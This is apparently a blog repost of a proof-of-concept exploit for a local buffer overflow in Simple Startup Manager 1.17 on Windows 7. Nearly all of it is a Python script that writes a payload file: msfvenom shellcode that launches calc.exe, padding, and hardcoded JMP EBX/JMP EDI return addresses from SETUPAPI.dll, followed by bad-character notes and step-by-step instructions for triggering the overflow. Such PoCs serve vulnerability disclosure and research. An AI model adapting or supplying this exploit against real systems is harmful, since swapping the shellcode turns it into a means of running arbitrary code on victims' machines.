Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378133

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Simple Startup Manager 1.17 - 'File' Local Buffer Overflow (PoC) 
# Exploit Author: PovlTekstTV
# Date: 2020-07-15
# Vulnerable Software: Simple Startup Manager
# Software Link Download: http://www.ashkon.com/download/startup-manager.exe
# Version: 1.17
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 and 64 bit)
# DEP and ASLR Disabled on system
# Space for shellcode: 264

#!/usr/bin/python
# Two sets of instructions are needed:
# 1. JMP EDI
# 2. JMP EBX 
# I found these in the OS-module: SETUPAPI.dll, which is usually protected using ASLR
# The exploit will properly not work unless changed/bruteforced.

# It is also possible to overwrite the SEH-handler with 600+ bytes,
# however I did not find any POP, POP, RETs.

# Walkthrough:
#   1.- Run the python script, it will create a new file "exploit.txt"
#   2.- Copy the content of the new file 'exploit.txt' to clipboard
#   3.- Turn off DEP for startup-manger.exe
#   4.- Open 'startup-manger.exe'
#   5.- Click 'New' or go to 'File' and click 'New'
#   6.- Paste content from clipboard into 'File' parameter
#   7.- Click on 'OK'
#   9.- Calc.exe runs.

#Identified the following badchars: x00 x0a x09 x0c x0d x3a x5c
#msfvenom -p windows/exec cmd=calc.exe -f c -b "\x00\x0a\x0c\x0d\x3a\x5c"
shellcode = ("\xdb\xd0\xd9\x74\x24\xf4\xbe\xcb\xe3\xc2\xa5\x5a\x33\xc9\xb1"
"\x31\x83\xc2\x04\x31\x72\x14\x03\x72\xdf\x01\x37\x59\x37\x47"
"\xb8\xa2\xc7\x28\x30\x47\xf6\x68\x26\x03\xa8\x58\x2c\x41\x44"
"\x12\x60\x72\xdf\x56\xad\x75\x68\xdc\x8b\xb8\x69\x4d\xef\xdb"
"\xe9\x8c\x3c\x3c\xd0\x5e\x31\x3d\x15\x82\xb8\x6f\xce\xc8\x6f"
"\x80\x7b\x84\xb3\x2b\x37\x08\xb4\xc8\x8f\x2b\x95\x5e\x84\x75"
"\x35\x60\x49\x0e\x7c\x7a\x8e\x2b\x36\xf1\x64\xc7\xc9\xd3\xb5"
"\x28\x65\x1a\x7a\xdb\x77\x5a\xbc\x04\x02\x92\xbf\xb9\x15\x61"
"\xc2\x65\x93\x72\x64\xed\x03\x5f\x95\x22\xd5\x14\x99\x8f\x91"
"\x73\xbd\x0e\x75\x08\xb9\x9b\x78\xdf\x48\xdf\x5e\xfb\x11\xbb"
"\xff\x5a\xff\x6a\xff\xbd\xa0\xd3\xa5\xb6\x4c\x07\xd4\x94\x1a"
"\xd6\x6a\xa3\x68\xd8\x74\xac\xdc\xb1\x45\x27\xb3\xc6\x59\xe2"
"\xf0\x39\x10\xaf\x50\xd2\xfd\x25\xe1\xbf\xfd\x93\x25\xc6\x7d"
"\x16\xd5\x3d\x9d\x53\xd0\x7a\x19\x8f\xa8\x13\xcc\xaf\x1f\x13"
"\xc5\xd3\xfe\x87\x85\x3d\x65\x20\x2f\x42")

payload = shellcode
payload += ("A"*(268-len(payload)-4))
payload += ("\xe4\xa9\x4e\x76") #0x764ea9e4 (JMP EBX) {PAGE_READONLY} [SETUPAPI.dll]
payload += ("\x5f\xbc\x4e\x76") #0x764ebc5f (JMP EDI) {PAGE_READONLY} [SETUPAPI.dll]

#Write payload to file
file = open("exploit.txt" , 'w')
file.write(payload)
file.close()